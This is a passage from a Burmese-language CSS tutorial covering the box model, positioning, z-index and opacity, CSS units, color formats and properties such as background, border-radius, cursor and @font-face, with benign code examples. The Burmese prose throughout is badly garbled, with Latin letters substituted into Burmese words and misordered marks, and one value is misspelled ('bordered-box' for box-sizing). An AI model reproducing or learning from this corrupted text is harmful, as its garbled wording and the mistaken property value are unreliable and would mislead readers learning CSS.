ဒါကြေeကာင့် ပင်မ Element ထဲမှာ မဆန့်ကြေတာ့တဲ့အတွက် အခုလုိ ကြေကျာ်ထွက်၊ လျံှထွက်ပြပီး အဆင်မကြေgပgoစ်
သွားရတာပါ။  ဒီသကြေyာသyာဝကိုနားလည်oုိ့  အကြေရးကြကီးပါတယ်။  နားမလည်ရင်  margin ကြေလး
သတ်မှတ်လုိက်တာနဲ့  အကုန်လံုးပျက်ကုန်တယ်ဆိုပြပီး  စတိ်ညစ်ရပါလိမ့်မယ်။  စိတ်ညစ်စရာမလုိပါyူး။
အရွယ်အစား ကြေgပာင်းသွားလုိ ့gပန်ညိှကြေပးလုိက်ရင် ရပါတယ်။ ဒီလုိပါ။

အခုကြေတာ့ ကွက်တိgoစ်သွားပါပြပီ။ width ကို 340 လုိ့ကြေလျှာ့ပြပီး သတ်မှတ်လုိက်တဲ့အတွက် ထပ်တိုးလာတဲ့
margin, padding ကြေတွနဲ့ ကြေပါင်းလုိက်တဲ့အခါ 400 goစ်သွားလုိ့ အခုလုိကွက်တိအဆင်ကြေgပသွားgခင်းပဲ
goစ်ပါတယ်။
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Border လည်းအတူတူပါပဲ။ Border သတ်မှတ်လုိက်တာနဲ့ မူလအရွယ်အစားမှာ ထပ်တိုးသွားမှာပါ။ နမူနာ
မှာ ပင်မ Element မှာ Border ထည့်gပထားပါတယ်။

 CSS 

border: 5px solid red;

ကြေရှ့ဆံုးက  5px က  Border  ရဲ့  အရွယ်အစားgoစ်ပြပီး၊  solid ကကြေတာ့  Border  Style  goစ်ပါတယ်။
သတ်မှတ်လုိရ့တဲ့  Style  အမျ ို းမျ ို း  ရှိကြေပမယ့်  solid, dotted နဲ့  dashed (၃)  မျ ို းကို  အသံုးများပါ
တယ်။ ကိုယ့်yာသာ ကြေgပာင်းပြပီး စမ်းeကည့်နိုင်ပါတယ်။ solid ကကြေတာ့ လုိင်းအgပည့် ကြေyာင်ခတ်တာပါ။
dotted ကကြေတာ့  အစက်ကြေလးကြေတွနဲ့  ကြေyာင်ခတ်တာပါ။  dashed ကကြေတာ့  လုိင်းgပတ်ကြေလးကြေတွနဲ့
ကြေyာင်ခတ်တာပါ။ ကြေနာက်ဆံုးက red ကကြေတာ့ Border ရဲ့ အကြေရာင်goစ်ပါတယ်။ နှစ်သက်ရာအကြေရာင် ကြေပး
လုိရ့ပါတယ်။ စမ်းရလွယ်တဲ့  red, green, blue, purple, brown, black စတဲ့အကြေရာင်
ကြေတွနဲပဲ့ စမ်းeကည့်လုိက်ပါ။ ခဏကြေနမှ အကြေရာင်ကြေတွ အကြေeကာင်း ထပ်ကြေgပာကြေပးပါမယ်။

အတွင်းထဲက  Element  ကြေတွမှာလည်း  Border  ကြေပးeကည့်ပါ။  margin,  padding တိုလုိ့ပဲ  မူလ
အရွယ်အစားမှာ  ထပ်တိုးသွားတာကို  ကြေတွ့ ရပါလိမ့်မယ်။  width,  height ကို  gပန်ညိှကြေပးလုိက်ရင်
အဆင်ကြေgပသွားပါလိမ့်မယ်။

margin ကြေတွ padding ကြေတွ border ကြေတွကို အခုလုိ တစ်yက်ချင်း ကြေပးလုိရ့ပါတယ်။

 CSS 

margin-top: 10px;
margin-right: 10px;
padding-left: 10px;
border-bottom: 5px solid red;

px အစား သုံးလုိရ့နိုင်တဲ့ တgခား Unit  အကြေeကာင်းကို ခဏကြေနကြေတာ့ ကြေgပာgပပါမယ်။ ကြေလာကြေလာဆယ် စမ်း
ချင်ရင်  px နဲ့ပဲကြေရှ့ကတန်oုိးကို ကြေgပာင်းပြပီး စမ်းeကည့်နိုင်ပါတယ်။  margin, padding ကြေတွ ကြေရးနည်း
ကြေနာက်ထပ် (၂) နည်း မှတ်သင့်ပါကြေသးတယ်။
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 CSS 

padding: 10px 20px;
margin: 10px 20px 5px 30px;

နမူနာမှာ  padding အတွက်  Value  နှစ်ခုကိုကြေပးထားပါတယ်။  ကြေရှ့ က  10px က  top  နဲ့ bottom
အတွက်ပါ။ ကြေနာက်က 20px ကကြေတာ့ left နဲ့  right အတွက်goစ်ပါတယ်။ ဒီနည်းနဲ့ တစ်ကြေeကာင်းထဲ
ကြေရးပြပီး  အကြေပါ်ကြေအာက်၊  ကြေရှ့ကြေနာက်  မတူကြေအာင် ကြေပးလုိရ့တာပါ။  margin အတွက်ကြေတာ့  Value  ကြေလးခု
ကြေပးထားပါတယ်။ top, right, bottom, left ဆိုတဲ့ သကြေyာပါ။ ဒီနည်းနဲ့ တစ်ကြေeကာင်းထဲကြေရး
ပြပီး  မျက်နှာစာကြေလးyက်လုံး  Value  တစ်ခုစီ  ကြေပးလုိရ့gခင်းgoစ်ပါတယ်။  margin-left နဲ့  margin-
right အတွက်  auto ဆိုတဲ့  Value  လည်းရှိပါကြေသးတယ်။  yယ်yက်ကကြေနရာလွတ်နဲ့  ညာyက်က
ကြေနရာလွတ်ကို နှစ်yက်ညီကြေအာင် ယူကြေပးသွားမှာပါ။ ဒါကြေeကာင့်  Element  ကို အလယ်မှာ ကြေoာ်gပကြေစလုိရင်
auto လုိ့  margin ကို သတ်မှတ်ကြေပးeကကြေလ့ ရိှပါတယ်။ ဒါကြေပမယ့် သတိgပုပါ၊ auto ဆိုတဲ့  Value ဟာ
top နဲ ့bottom အတွက် အလုပ်မလုပ်ပါyူး။ ဒီလုိကုဒ်မျ ို းကို မeကာခဏကြေတွ့ရနိုင်ပါတယ်။

 CSS 

margin: 20px auto;

margin-top နဲ့  margin-bottom ကို  20px လုိသ့တ်မှတ်ပြပီး  margin-left နဲ့  margin-
right ကို auto လုိ့ သတ်မှတ်ကြေပးလုိက်တာပါ။

ကြေနာက်ဆံုးတစ်ခုထပ်မှတ်ပါ။  box-sizing လုိ့ကြေခါ်တဲ့  Property  ပါ။  ကြေနာက်မှ  ထပ်တိုးလာတဲ့
ကြေတာ်ကြေတာ်အသုံးဝင်တဲ့  Property goစ်ပါတယ်။ Element မှာ box-sizing ကို  bordered-box လုိ့
ကြေပးလုိက်ရင်  အခုတက်ကြေနတဲ့  gပဿနာကြေတွ  ကြေတာ်ကြေတာ်များများ  ကြေgပလည်သွားပါတယ်။  yာgoစ်လုိလဲ့ဆို
ကြေတာ့  padding ကြေတွ  border ကြေတွ  ကြေပးလုိက်လုိ့  လုိအပ်လာတဲ့ကြေနရာကို  ထပ်တိုးမယူyဲ၊  မူလ
width, height ထဲကကြေန o့ဲယူသွားမှာ goစ်လုိ့  padding ထည့်လုိက်တာ Size ကြေgပာင်းသွားတယ်ဆို
တာမျ ို း goစ်စရာမလုိကြေတာ့ပါyူး။
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နမူနာကိုကြေလ့လာeကည့်ပါ။  box-sizing ကြေပးထားတဲ့အတွက်  Element  ရဲ့  width, height ကို
ကိုယ်ကြေပးချင်တဲ့အတိုင်း  400, 200 လုိ့ကြေပးထားပါတယ်။  padding ကြေတွ  border ကြေတွပါကြေပမယ့်
လည်း gပန်ညိှစရာ မလုိကြေတာ့ပါyူး။ margin ကြေပးချင်ရင်ကြေတာ့ မရပါyူး။ margin အတွက် gပန်ညိှကြေပးရ
မှာပါ။

CSS Position
CSS  ကိုအသုံးgပုပြပီး  Element  ကြေတွကြေoာ်gပရမယ့်  တည်ကြေနရာကို  ကိုယ့်စိတ်တိုင်းကျ  အတိအကျလည်း
သတ်မှတ်ကြေပးလုိရ့ပါတယ်။ ဒီနည်းက ဝy်ဆိုက် Layout ကြေတွyာကြေတွ လုပ်တဲ့ကြေနရာမှာ သိပ်အသံုးမဝင်ကြေပ
မယ့်  UI Component  ကြေတွအတွက်ကြေတာ့ ကြေတာ်ကြေတာ်အသံုးဝင်ပါတယ်။  Layout  အတွက် သိပ်အသုံးမဝင်
yူးဆိုတာက၊  စဉ်းစားeကည့်ပါ။  Layout  မှာပါတဲ့  Element  ကြေတွကိုသာ  တစ်ခုချင်း  စတိ်တိုင်းကျ
အတိအကျ ကြေနရာသတ်မှတ်ထားမယ်ဆိုရင်၊  gပင်ချင်တဲ့အခါ  yယ်လုိလုပ်မလဲ။ အကုန်လံုးကို  လုိက်gပင်ရ
ကြေတာ့မှာပါ။  လက်ကြေတွ့မကျပါyူ။  ဒါကိုတမင်ကြကိုကြေgပာတာပါ။  CSS  Position  Property  အကြေeကာင်း  သိ
သွားရင် အရမ်းသကြေyာကျသွားပြပီး  ကြေနရာတိုင်းမှာ သံုးချင်စိတ်  ကြေပါ်လာတတ်ပါတယ်။ ကြေနရာတိုင်း  သုံးလုိ့
ကြေတာ့ အဆင်ကြေgပမှာမဟုတ်yူး၊ သူ့သင့်ကြေတာ်ရာကြေနရာမှာသာ အသံုးgပုရမှာgoစ်တယ် ဆိုတဲ့သကြေyာပါ။ နမူ
နာကိုeကည့်ပါ။
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<div> Element  နှစ်ခုရှိပြပီး  နှစ်ခုလံုးအတွက် ဆင်တူတဲ့  Property  ကြေတွသတ်မှတ်ထားပါတယ်။ ထူးgခား
ချက် အကြေနနဲန့ှစ်ခုလံုးမှာ position: absolute သတ်မှတ်ချက်ပါဝင်gခင်း goစ်ပါတယ်။ ဒါကြေeကာင့် ဒီ
Element  ကြေတွရဲ့  တည်ကြေနရာကို  အတိအကျသတ်မှတ်လုိရ့သွားပါပြပီ။ နမူနာမှာ  top နဲ့  left Property
ကြေတွကိုသုံးပြပီး ကြေနရာမတိမ်းမယိမ်း သတ်မှတ်ထားလုိ့ တစ်ခုကြေပါ်တစ်ခု ထပ်ပြပီး ကြေoာ်gပကြေနတာကို ကြေတွ့ရမှာ
goစ်ပါတယ်။ အ့ဲဒီတန်oုိးကြေတွကို ကြေgပာင်းပြပီးစမ်းeကည့်လုိရ့ပါတယ်။

position မှာ fixed လုိ့ကြေခါ်တဲ့ Value လည်း ရှိပါကြေသးတယ်။ absolute နဲ့ အကြေgခခံအားgoင့် တူပြပီး
Scroll  Behavior  မှာ  ကွာသွားပါတယ်။  absolute က  Scroll  ဆွဲလုိက်ရင်  Scroll  နဲ့အတူပါသွားပြပီး
fixed ကကြေတာ့  Scroll နဲ့မပါyဲ  သတ်မှတ်ထားတဲ့  ကြေနရာမှာ  အပြမဲတည်ရှိကြေနမှာပါ။  yာကိုကြေgပာတာလဲ
မျက်စိထဲမှာ မgမင်ရင် CSS ကုဒ်ထဲမှာ ဒီလုိgoည့်ပြပီး စမ်းeကည့်ပါ။

 CSS 

body {
  height: 2000px;
}

.box1 {
  position: fixed;
  … 
}
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Body Height ကို  2000 ကြေပးလုိက်လုိ့  Scroll Bar ကြေပါ်လာပါလိမ့်မယ်။ .box1 ရဲ့  position ကိုကြေတာ့
absolute မဟုတ်ကြေတာ့yဲ fixed လုိ့ကြေgပာင်းကြေပးထားပါတယ်။ ဒါကြေeကာင့် Box နှစ်ခု  Scroll Behavior
မတူကြေတာ့ပါyူး။ စမ်းကြေရးပြပီး Scroll ဆွဲeကည့်ပါ၊ yာကွာလဲဆိုတာကို ကိုယ်တိုင် ကြေတွ့ gမင်ရပါလိမ့်မယ်။

position မှာ  relative ဆိုတဲ့  Value  တစ်ခုလည်းရှိပါကြေသးတယ်။ သူ့ရဲ့သကြေyာသyာဝက နည်း
နည်း ထူးgခားပါတယ်။ နမူနာကိုeကည့်ပါ။

နမူနာမှာ .box2 ကို .box1 ထဲမှာ ထည့်ထားပါတယ်။ .box1 အတွက် Style ကြေတွကိုကြေလ့လာeကည့်ရင်
margin ကိုသုံးပြပီးအလယ်ပုိထ့ားတာ ကြေတွ့ရနိုင်ပါတယ်။ ပြပီးကြေတာ့ position: relative လုိလ့ည်း
ကြေပးထားပါတယ်။ ဒီလုိကြေပးထားတဲ့အတွက်  သူ့အထဲမှာရှိတဲ့  .box2  ရဲ့  Position  ကိုတွကတ်ဲ့ထဲမှာသူနဲ့
Relative  ယူပြပီးတွက်ကြေပးသွားမှာပဲgoစ်ပါတယ်။ ဒီ  position: relative သာမပါခဲ့ရင်  .box2 ရဲ့
top နဲ့  left ကို  50px လုိသ့တ်မှတ်ထားလုိ့  Document Border ကကြေန 50px စီခွာgပသွားမှာပါ။ အခု
ကြေတာ့ Document Border ကကြေန 50px စီခွာgပတာ မဟုတက်ြေတာ့yဲ .box1 ရဲ့  Border ကကြေန 50px စီ
ခွာgပကြေနတာကို  ကြေတွ့gမင်ရgခင်း  goစ်ပါတယ်။  ပုိပြပီးကြေတာ့  gမင်သာကြေစoုိ့  ကိုယ်တိုင်  position:
relative Property ကို ထည့်ပြပီးတစ်ခါ၊ goုတ်ပြပီးတစ်ခါ စမ်းeကည့်လုိက်ပါ။ gမင်သွားပါလိမ့်မယ်။

Position အကြေeကာင်းကြေလ့လာတဲ့အခါ တွဲoက်အသုံးgပုကြေလ့ရှိတဲ့ Property (၂) ခုရှိပါကြေသးတယ်။ z-index
နဲ ့opacity တို ့goစ်ပါတယ်။ ဒီနမူနာကြေလးကို ထပ်eကည့်ကြေပးပါ။
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နမူနာမှာ .box1 ကြေရာ .box2 ပါ position: absolute goစ်ပါတယ်။ တည်ကြေနရာမတိမ်းမယိမ်းမုိ့
လုိ့ တစ်ခုနဲတ့စ်ခု ထပ်ကြေနပါတယ်။ .box1 အတွက် z-index: 2 လုိ့ကြေပးထားတဲ့အတွက် .box1 ကို
အကြေပါ်ကထပ်ပြပီး gမင်ရမှာgoစ်ပါတယ်။ ကိုယ်တိုင်လက်ကြေတွ့ စမ်းeကည့်ပါ။  z-index ပါရင်တစ်မျ ို း၊  မပါ
ရင်တစ်မျ ို း စမ်းeကည့်လုိက်ပါ။ z-index ရဲ့ အလုပ်လုပ်ပံုက ရုိးရုိးကြေလးပါ။ Element ကြေတွထပ်လာတဲ့အခါ
z-index တန်oုိး gမင့်တဲ့သူကို  အကြေပါ်ကထပ်ပြပီး gပကြေပးမှာ goစ်ပါတယ်။  opacity ကြေတာ့ နမူနာမှာgမင်
ကြေတွ့ ကြေနရတဲ့အတိုင်းပါပဲ။ Element ရဲ့ Transparency Level ကို ညှိoုိ့ သုံးနိုင်ပါတယ်။ Value 0 ဆိုရင် မိှန်
လွန်းလုိ့ လံုးဝကြေပျာက်သွားပါလိမ့်မယ်။ Value 1 ဆိုရင် ထင်ရှားလွန်းလုိ့ မူရင်းအတိုင်း gမင်ရပါလိမ့်မယ်။ 0
နဲ့  1 eကားထဲမှာ ကိုယ်လုိသကြေလာက်တန်oုိးကို  ကြေပးထားgခင်းအားgoင့် ထွင်းကြေoာက်gမင်ရတဲ့  Element  ကြေတွ
ကို ရရှိမှာ goစ်ပါတယ်။

ဒီကြေလာက်ဆိုရင်  CSS  နဲပ့က်သက်ပြပီး  သိသင့်တဲ့  သကြေyာသyာဝကြေတွ  အကြေတာ်စံုကြေနပါပြပီ။  Selector,
Display Type, Box Model နဲ့  Position တိုက့ို ကြေလ့လာခဲ့gခင်းgoစ်ပါတယ်။ Property ကြေတွ Value ကြေတွက
ကြေလ့လာရတာ မခက်ပါyူး။ အကုန်အလွတ် မှတ်ထားစရာလည်း မလုိပါyူး။ လုိကြေတာ့မှ gပန်eကည့်ပြပီးကြေရး
သွားလုိ့  ရပါတယ်။ အခုကြေoာ်gပခဲ့တဲ့  သကြေyာသyာဝကြေတွကို  ကြေကာင်းကြေကာင်းနားလည်oုိက့ ပုိအကြေရးကြကီးပါ
တယ်။ ဒါကြေတွနားလည်မှသာ CSS ကို ကျွမ်းကျင်ပုိင်နိုင်စွာ အသံုးချနိုင်မှာပါ။
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CSS Unit
CSS  နဲ့  Element  ကြေတရွဲ့  အရွယ်အစားတို့  oွန့်အရွယ်အစားတို့လုိ  အရွယ်အစားကြေတွ  သတ်မှတ်တဲ့အခါမှာ
သုံးရတဲ့ Unit ကြေတရွှိပါတယ်။ အ့ဲဒီထဲက ကြေရွးချယ်သတိgပုသင့်တာကြေတွကကြေတာ့ -

• px
• %
• em
• rem
• fr

- တို့goစ်ပါတယ်။ px ကို Fixed Unit ကြေခါ်ပါတယ်။ အရွယ်အစားကို အတိအကျပံုကြေသ သတ်မှတ်လုိက်တာ
ပါ။ တစ်လက်မလုိ့ ကြေgပာလုိက်ရင် yယ်ကြေလာက်အရွယ်အစားလဲ မျက်စိထဲ တန်းgမင်သလုိပဲ 12px လုိ့ကြေgပာ
လုိက်ရင်  yယ်ကြေလာက်အရွယ်အစားလဲဆိုတာ  မျက်စိထဲမှာ  gမင်eကကြေလ့ရှိပါတယ်။  အားလံုးနဲ့  ရင်းနှီးပြပီး
သား Unit ပါ။

10px 12px 16px 21px 26px 32px 40px
အရွယ်အစားကြေတွ သတ်မှတ်oုိ့ Unit ကြေတကွြေရးတဲ့အခါ တန်oုိးနဲ့ ကပ်ကြေရးရပါတယ်။ ခွာကြေရးလုိမ့ရပါyူး။ % နဲ့
em ကိုကြေတာ့  Relative  Unit  လုိ့ကြေခါ်ပါတယ်။  200% ဆိုရင်  နှစ်ဆဆိုတဲ့  အဓိပ္ပါယ်ပါ။  ဒါကြေeကာင့်မူလ
အရွယ်အစားရဲ့နှစ်ဆ အရွယ်အစားကို ရရှိမှာပါ။  Browser ကြေတရွဲ့  Default Font Size က အများအားgoင့်
16px goစ်တယ်လုိ့ မှတ်နိုင်ပါတယ်။ ဒါကြေeကာင့်  Element  တစ်ခုအတွက်  font-size: 200% လုိ့ကြေgပာ
ရင် နှစ်ဆgoစ်တဲ့အတွက်  32px အရွယ်အစားကို  ရရှိမှာgoစ်ပါတယ်။  1em ဆိုရင် စာလံုးတစ်လုံးစာဆိုတဲ့
အဓိပ္ပါယ်ပါ။ ဒါကြေeကာင့် font-size: 2em လုိ့ကြေgပာလုိက်ရင် နှစ်လံုးစာလုိ့ ကြေgပာလုိက်တဲ့ သကြေyာgoစ်လုိ့
font-size: 200% နဲ ့အတူတူပဲလုိ ့ကြေgပာမယ်ဆိုရင် ကြေgပာလုိရ့ပါတယ်။

ဒါကြေပမယ့်  width, height လုိဟာမျ ို းမှာကြေတာ့ ကွဲလဲွမှုရှိပါတယ်။  width: 100% ဆိုရင် အကျယ်
ကြေနရာ ရှိသကြေလာက် အgပည့်ယူမယ်လုိ့ ကြေgပာလုိက်တာပါ။  width: 100em ဆိုရင် စာလံုး အလံုး(၁၀၀)
စာ ကြေနရာအကျယ်ယူမယ်လုိ့ ကြေgပာတာgoစ်သွားလုိ့ သကြေyာသyာဝမတူကြေတာ့ပါyူး။ ဒီ  px, % နဲ့  em တို့
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ဟာ အသုံးအများဆုံး  Unit  ကြေတွပါ။  rem နဲ့  fr တိုက့ကြေတာ့  ကြေနာက်မှထပ်တိုးလာတဲ့  Unit  ကြေတွgoစ်ပြပီး
တစ်goည်းgoည်း အသံုးတွင်ကျယ်လာကြေနကြေပမယ့် ဒီအဆင့်မှာ လုိတာထက် ပုိရှုပ်သွားမှာစိုးလုိ့  ချန်ထားခဲ့ပါ
မယ်။ ထုံးစံအတိုင်း ဆက်လက်ကြေလ့လာသင့်တဲ့ အရာကြေတွမှန်းသိကြေအာင် ထည့်ကြေgပာခဲ့တဲ့ သကြေyာပါ။

CSS Color
CSS မှာ အကြေရာင်တန်oုိး အမျ ို းမျ ို းရှိeကပါတယ်။ အသံုးများeကတာကြေတွကကြေတာ့ Color Name, RGB, Hex
နဲ့  RGBA  တို့goစ်ပါတယ်။  Color  Name  ကြေတွကိကုြေတာ့  ကုဒ်ကြေတွစမ်းကြေရးတဲ့အခါ  အgမန်ကြေရးထည့်လုိရ့တဲ့
အတွက် အသုံးဝင်ကြေပမယ့်၊ လက်ကြေတွ့အသုံး နည်းပါတယ်။ သံုးလုိရ့တဲ့ Color Name စာရင်း အgပည့်အစံုကို
ဒီမှာeကည့်လုိရ့ပါတယ်။

- https://developer.mozilla.org/en-US/docs/Web/CSS/color_value

မှတ်ရလွယ်တာကြေလးတစ်ချ ို ့ ကြေရွးမှတ်ချင်ရင် ဒီ Color Name ကြေတွကို မှတ်ထားလုိရ့ပါတယ်။

black, white, gray, silver, red, green, lime, blue, navy, cyan,
yellow, gold, purple, orange, brown, pink, violet

အ့ဲဒါကိုမှ lightblue, darkblue စသgoင့် ကြေရှ့က light တို့ dark တိုန့ဲ့ တွဲစမ်းeကည့်နိုင်ပါတယ်။
အကြေရာင် အားလုံးအတွက် light, dark မူကွဲကြေတွ မရှိကြေပမယ့် အများအားgoင့် ရှိeကပါတယ်။ ဒီကြေလာက်
ဆိုရင်ကိုပဲ Color Name ကြေတွ ကြေတာ်ကြေတာ်သုံးလုိရ့ကြေနပါပြပီ။

Color Code ကြေတွထဲက RGB ရဲ့ ကြေရးထုံးနဲ့ Hex ရဲ့ကြေရးထုံးက ဒီလုိပါ။

 CSS 

p {
    color: rgb(21, 179, 201);
    background: #C0EEF5;
    border: 5px solid #55E;
}

https://developer.mozilla.org/en-US/docs/Web/CSS/color_value
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color Property အတွက်  rgb() ကိုသုံးထားပါတယ်။ ကြေရးထုံးအရ rgb ရဲ့ကြေနာက်က ကွင်းစကွင်းပိတ်
ထဲမှာ အကြေရာင်ကုဒ် (၃) ခုကို Comma ခံပြပီးကြေပးရတာပါ။ ကြေရှ့ဆံုးက အနီကြေရာင်အတွက်၊ အလယ်က အစိမ်း
ကြေရာင်အတွက်၊  ကြေနာက်ဆံုးက  အgပာကြေရာင်အတွက်  goစ်ပါတယ်။  တန်oုိးကြေတွမှာ  အနိမ့်ဆံုးက  0 goစ်ပြပီး
အgမင့်ဆံုးက  255 goစ်ပါတယ်။ ဒါကြေeကာင့်  rgb(255, 0, 0) ဆိုရင်  အနီကြေရာင်ကို  ရပါတယ်။ အနီ
တန်oုိး  အgမင့်ဆံုး  goစ်ကြေနလုိပ့ါ။  နမူနာမှာကြေပးထားတဲ့  rgb(21, 179, 201) ကကြေတာ့ အgပာကြေရာင်
yက်ကိုပါတဲ့ စိမ်းgပာကြေရာင်ပါ။ အgပာကြေရာင်တန်oုိး အgမင့်ဆံုးgoစ်ပြပီး အစိမ်းကြေရာင်တန်oုိးလည်း gမင့်လုိ့ပါ။

ခန့်မှန်းလုိရ့ကြေအာင်  ကြေgပာgပတာပါ။  လက်ကြေတွ့မှာ  yယ်ကုဒ်ဆိုရင်  yာအကြေရာင်လဲဆိုတာ  ကိုယ်yာသာ
တွက်ကြေနစရာ  မလုိပါyူး။  Color  Code  ယူလုိရ့တဲ့  နည်းပညာကြေတွမှ  အများကြကီးပါ။  Google  မှာ  Color
Picker လုိရုိ့က်ရှာလုိက်ရင်ကြေတာင် အကြေရာင်ကြေရွးလုိရ့တဲ့လုပ်ကြေဆာင်ချက်ကို တန်းရပါတယ်။ ဒီလုိပါ -

 
ကိုယ်လုိချင်တဲ့အကြေရာင်ကို  ကြေထာက်လုိက်တာနဲ့  Hex  နဲ့  RGB  သာမက တgခား  Color Code  အမျ ို းအစား
ကြေတွကိုပါ  ရရှိမှာgoစ်ပါတယ်။  Hex  Code  ကြေတွကိကုြေတာ့  ကြေရှ့ဆံုးက  # သကြေက[တကြေလးနဲစ့ပြပီး  ကြေရးကြေပးရပါ
တယ်။  သူ့မှာလည်း  (၃)  ပုိင်းပါတာပါပဲ။  အနိမ့်ဆံုးက  00 goစ်ပြပီး  အgမင့်ဆံုးက  FF goစ်ပါတယ်။
Hexadecimal Number System ကိုသုံးလုိ့ အgမင့်ဆံုးက FF goစ်ကြေနတာပါ။ ဒီကြေနရာမှာ eကားgoတ်ပြပီးကြေတာ့
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Hexadecimal  အကြေeကာင်း  မကြေgပာကြေတာ့ပါyူး။  အနိမ့်ဆံုးက  00 goစ်ပြပီး  အgမင့်ဆံုး  FF goစ်တယ်လုိသ့ာ
မှတ်ထားပါ။ ဒါကြေeကာင့် #FF0000 ဆိုရင် အနီကြေရာင်ရပါတယ်။ ကြေရှ့ ဆံုးက အနီတန်oုိးအgမင့်ဆံုး goစ်ကြေနလုိ့
ပါ။ အတိုကြေကာက်ကြေရးမယ်ဆိုရင် တန်oုိး စုစုကြေပါင်း (၆) လုံးမဟုတ်yဲ (၃) လုံးပဲကြေပးလုိရ့ပါတယ်။ #F00 ဆို
ရင် #FF0000 နဲ့အတူတူပါပဲ။

RGBA Color  ကကြေတာ့  RGB  ကိုကြေနာက်ဆံုးကကြေန  Alpha Transparency  ပါသွားတာပါ။  RGB  ကြေရးသလုိပဲ
ကြေရးရပါတယ်။ ဒီလုိပါ။

 CSS 

p {
    background: rgba(255, 0, 0, 0.5);
}

ကြေနာက်ဆံုးက 0.5 ကကြေတာ့  Color  ရဲ့  Transparency Level  goစ်ပြပီးကြေတာ့  0.5 လုိ့ကြေgပာထားတဲ့အတွက်
တစ်ဝက်တစ်ပျက် ထွင်းကြေoာက်gမင်ရတဲ့ အကြေရာင်ကိုရရှိမှာပဲgoစ်ပါတယ်။

CSS Properties
ကြေရှ့ပုိင်းမှာ နမူနာ  Property  ကြေတွကို လုိအပ်သလုိ ထည့်သွင်းကြေoာ်gပခဲ့ကြေပမယ့် ကျန်ကြေနတာကြေတွလည်း ရှိပါ
ကြေသးတယ်။ အ့ဲဒီထဲက အကြေgခခံကျပြပီး  အသုံးများတဲ့  Property  ကြေတွကို  စုစည်းပြပီးကြေတာ့ ဆက်လက်ကြေoာ်gပ
ကြေပးပါမယ်။

background – background က ကြေရှ့နမူနာကြေတွမှာ ပါခဲ့ပြပီးသားပါ။ ဒါကြေပမယ့် Color သတ်မှတ်ပံုပဲ ပါ
ခဲ့တာပါ။ Image ကြေတွကိုလည်း Background အကြေနနဲ ့သုံးချင်ရင်သံုးလုိရ့ပါတယ်။ ဒီလုိပါ -

 CSS 

background: url(image/path);

url() နဲ့  သုံးချင်တဲ့  Image  ရဲ့တည်ကြေနရာကို  ကြေပးရgခင်းgoစ်ပါတယ်။  url() အစား  linear-
gradient() ကိုလည်းသုံးနိုင်ပါတယ်။ နှစ်ကြေရာင်စပ်ထားတဲ့ ကြေရာင်ကြေgပးကိုရပါလိမ့်မယ်။ ဒီလုိပါ -
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 CSS 

background: linear-gradient(45deg, blue, green);

45deg ကြေနရာမှာ  90deg, -45deg စသgoင့်  ကိုယ့်စိတ်တိုင်းက  ဒီင်္ဂရီကြေgပာင်းကြေပးလုိရ့ပါတယ်။  သူ့
ကြေနာက်မှာ တွဲစပ်ချင်တဲ့ အကြေရာင်နှစ်ကြေရာင် လုိက်ရတာပါ။ ဒီတိုင်းကြေgပာကြေနရတာ သိပ်မgမင်ရင် Codepen ထဲ
မှာ ဒါကြေလး လက်ကြေတွ့ကြေရးပြပီး စမ်းeကည့်လုိက်ပါ။

 HTML 

<div class="box"></div>

 CSS 

div {
  width: 600px;
  height: 400px;
  background: linear-gradient(45deg, cyan, green);
  border-radius: 20px;
}

ကိုယ့်စိတ်ကူး ကြေကာင်းရင် ကြေကာင်းသလုိ တွဲစပ်အကြေရာင်ကြေoာ်လုိရ့တဲ့အတွက် ကြေတာ်ကြေတာ်အသုံးဝင်တယ် ဆို
တာကိုကြေတွ့ ရပါလိမ့်မယ်။

border-radius –  နမူနာကြေတွမှာ eကည့်လုိက်ရင်  Block  ကြေတွအကုန်လုံးက ကြေလးကြေထာင့်စပ်စပ်ကြေတွဆို
တာကို ကြေတွ့ရနိုင်ပါတယ်။ အ့ဲဒီလုိကြေလးကြေထာင့်စပ်စပ်မဟုတ်yဲ ကြေထာင့်ချ ို းကြေလးကြေတွကို ကြေကွးပြပီးကြေတာ့gပကြေစ
ချင်ရင်  border-radius  ကိုသုံးနိုင်ပါတယ်။  အကြေပါ်ကနမူနာမှာ  ထည့်သံုးgပထားခဲ့ပါတယ်။  စမ်းeကည့်ပါ။
Element ရဲ့ width, height နဲ့ border-radius ကို တူကြေအာင်ကြေပးလုိက်ရင် ကြေလးကြေထာင့် မဟုတ်
ကြေတာ့yဲ စက်ဝုိင်းပံုစံကြေoာ်gပတဲ့ Element ကိုရပါလိမ့်မယ်။ ဒါလည်းပဲ လက်ကြေတွ့စမ်းeကည့်သင့်ပါတယ်။

cursor – Mouse Pointer ရဲ့အသွင်အgပင်ကို cursor Property နဲ့ ကြေgပာင်းနိုင်ပါတယ်။ Value အကြေနနဲ့
pointer, wait, crosshair, text, move စသgoင့်အမျ ို းမျ ို းကြေပးလုိရ့ပါတယ်။  pointer
ဆိုရင် လက်ညိှုးကြေလးကြေထာက်ထားတဲ့ပံု၊  wait ဆိုရင်  Hourglass  ပုံ၊  move ဆိုရင် ကြေလးyက်ကြေလးတန်
မျှားgပထားတဲ့ပုံ စသgoင့် ရနိုင်ပါတယ်။
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font-family – စာကြေတွကြေoာ်gပတဲ့အခါ အသုံးgပုကြေoာ်gပကြေစလုိတဲ့oွန့်ကို သတ်မှတ်ကြေပးoုိအ့တွက် သံုးရတဲ့
Property goစ်ပါတယ်။

 CSS 

font-family: roboto, helvetica, arial, sans-serif;

နမူနာအရ  roboto oွန့်ကိုသုံးပြပီး  စာကြေတွကိုgပကြေစချင်တဲ့သကြေyာပါ။  အကယ်၍  User  ရဲ့  Device  မှာ
roboto oွန့်မရှိရင် helvetica ကို သုံးကြေပးပါ၊ မရှိရင် arial ကိုသုံးကြေပးပါ၊ မရှိရင် sans-serif ကို
သုံးကြေပးပါလုိ့ အဆင့်ဆင့် သတ်မှတ်ကြေပးထားလုိက်တာပါ။

@font-face –  User  ရဲ့  Device  မှာ  oွန့်မရှိလုိ့  ကြေoာ်gပကြေစလုိတဲ့ပုံစံ  မကြေပါ်yူးဆိုတာမျ ို း  မgoစ်ကြေစoုိ့
အတွက်  ဒီသတ်မှတ်ချက်နဲ့  oွန့်oုိင်ကို  ချတိ်ထားကြေပးလုိရ့ပါတယ်။  Property  ကြေတွeကားထဲမှာ  ထည့်
ကြေgပာထားကြေပမယ့် ဒါက Property မဟုတ်ပါyူး။ ဒီလုိကြေရးရပါတယ်။

@font-face {
    font-family: roboto;
    src: url(path/to/roboto.font);
}

